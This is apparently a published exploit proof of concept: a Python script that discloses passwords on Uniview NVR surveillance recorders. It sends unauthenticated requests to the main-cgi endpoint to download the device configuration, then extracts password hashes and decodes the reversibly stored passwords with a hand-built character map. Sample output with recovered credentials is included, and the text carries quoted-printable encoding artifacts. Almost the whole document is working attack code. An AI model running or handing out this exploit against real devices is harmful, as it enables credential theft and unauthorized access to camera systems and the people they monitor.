1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 |
#Uniview NVR remote passwords disclosure #Author: B1t # The Uniview NVR web application does not enforce authorizations on the main.cgi file when requesting json data. # It says that you can do anything without authentication, however you must know the request structure. # In addition, the users' passwords are both hashed and also stored in a reversible way # The POC below remotely downloads the device's configuration file, extracts the credentials # and decodes the reversible password strings using my crafted map # It is worth mention that when you login, the javascript hashes the password with MD5 and pass the request. # If the script does retrieve the hash and not the password, you can intercept the request and replace the generated # MD5 with the one disclosed using this script # Tested on the following models: # NVR304-16E - Software Version B3118P26C00510 # NVR301-08-P8 - Software Version B3218P26C00512 #=09=09=09=09=09=09and version B3220P11 # # Other versions may also be affected #Usage: python nvr-pwd-disc.py http://Host_or_IP:PORT # Run example: # root@k4li:~# python nvr-pwd-disc.py http://192.168.1.5 # # Uniview NVR remote passwords disclosure! # Author: B1t # # [+] Getting model name and software version... # Model: NVR301-08-P8 # Software Version: B3218P26C00512 # # [+] Getting configuration file... # [+] Number of users found: 4 # # [+] Extracting users' hashes and decoding reversible strings: # # User =09|=09 Hash =09|=09 Password # _________________________________________________ # admin =09|=093b9c687b1f4b9d87ed0fdd6abbf7e33d =09|=09<TRIMMED> # default =09|=09 =09|=09|||||||||||||||||||| # HAUser =09|=09288b836a37578141fea6527b5e190120 =09|=09123HAUser123[err # test =09|=0951b2454c681f3205f63b8372096d990b =09|=09AA123pqrstuvwxyz # #*Note that the users 'default' and 'HAUser' are default and sometimes in= accessible remotely import requests import xml.etree.ElementTree import sys print "\r\nUniview NVR remote passwords disclosure!" print "Author: B1t\r\n" def decode_pass(rev_pass): pass_dict =3D {'77': '1', '78': '2', '79': '3', '72': '4', '73': '5', '= 74': '6', '75': '7', '68': '8', '69': '9', '76': '0', '93': '!', '60': '@', '95': '#', '88': '$', '89= ': '%', '34': '^', '90': '&', '86': '*', '84': '(', '85': ')', '81': '-', '35': '_', '65': '=3D', '= 87': '+', '83': '/', '32': '\\', '0': '|', '80': ',', '70': ':', '71': ';', '7': '{', '1': '}', '82':= '.', '67': '?', '64': '<', '66': '>', '2': '~', '39': '[', '33': ']', '94': '"', '91': "'", '28'= : '`', '61': 'A', '62': 'B', '63': 'C', '56': 'D', '57': 'E', '58': 'F', '59': 'G', '52': 'H', '53= ': 'I', '54': 'J', '55': 'K', '48': 'L', '49': 'M', '50': 'N', '51': 'O', '44': 'P', '45': 'Q', '46= ': 'R', '47': 'S', '40': 'T', '41': 'U', '42': 'V', '43': 'W', '36': 'X', '37': 'Y', '38': 'Z', '29= ': 'a', '30': 'b', '31': 'c', '24': 'd', '25': 'e', '26': 'f', '27': 'g', '20': 'h', '21': 'i', '22= ': 'j', '23': 'k', '16': 'l', '17': 'm', '18': 'n', '19': 'o', '12': 'p', '13': 'q', '14': 'r', '15= ': 's', '8': 't', '9': 'u', '10': 'v', '11': 'w', '4': 'x', '5': 'y', '6': 'z'} rev_pass =3D rev_pass.split(";") pass_len =3D len(rev_pass) - rev_pass.count("124") password =3D "" for char in rev_pass: if char !=3D "124": password =3D password + pass_dict[char] return pass_len, password if len(sys.argv) < 2: print "Usage: " + sys.argv[0] + " http://HOST_or_IP:PORT\r\n PORT: The = web interface's port" print "\r\nExample: " + sys.argv[0] + " http://192.168.1.1:8850" sys.exit() elif "http://" not in sys.argv[1] and "https://" not in sys.argv[1]: =09print "Usage: " + sys.argv[0] + " http://HOST_or_IP:PORT\r\n PORT: The w= eb interface's port" =09sys.exit() =09 host =3D sys.argv[1] print "[+] Getting model name and software version..." r =3D requests.get(host + '/cgi-bin/main-cgi?json=3D{"cmd":%20116}') if r.status_code !=3D 200: print "Failed fetching version, got status code: " + r.status_code print "Model: " + r.text.split('szDevName":=09"')[1].split('",')[0] print "Software Version: " + r.text.split('szSoftwareVersion":=09"')[1].spl= it('",')[0] print "\r\n[+] Getting configuration file..." r =3D requests.get(host + "/cgi-bin/main-cgi?json=3D{%22cmd%22:255,%22szUse= rName%22:%22%22,%22u32UserLoginHandle%22:8888888888}") if r.status_code !=3D 200: print "Failed fetching configuration file, response code: " + r.status_= code sys.exit() root =3D xml.etree.ElementTree.fromstring(r.text) print "[+] Number of users found: " + root.find("UserCfg").get("Num") print "\r\n[+] Extracting users' hashes and decoding reversible strings:" users =3D root.find("UserCfg").getchildren() print "\r\nUser \t|\t Hash \t|\t Password" print "_________________________________________________" for user in users: l, p =3D decode_pass(user.get("RvsblePass")) print user.get("UserName"), "\t|\t", user.get("UserPass"), "\t|\t", p print "\r\n *Note that the users 'default' and 'HAUser' are default and som= etimes inaccessible remotely" |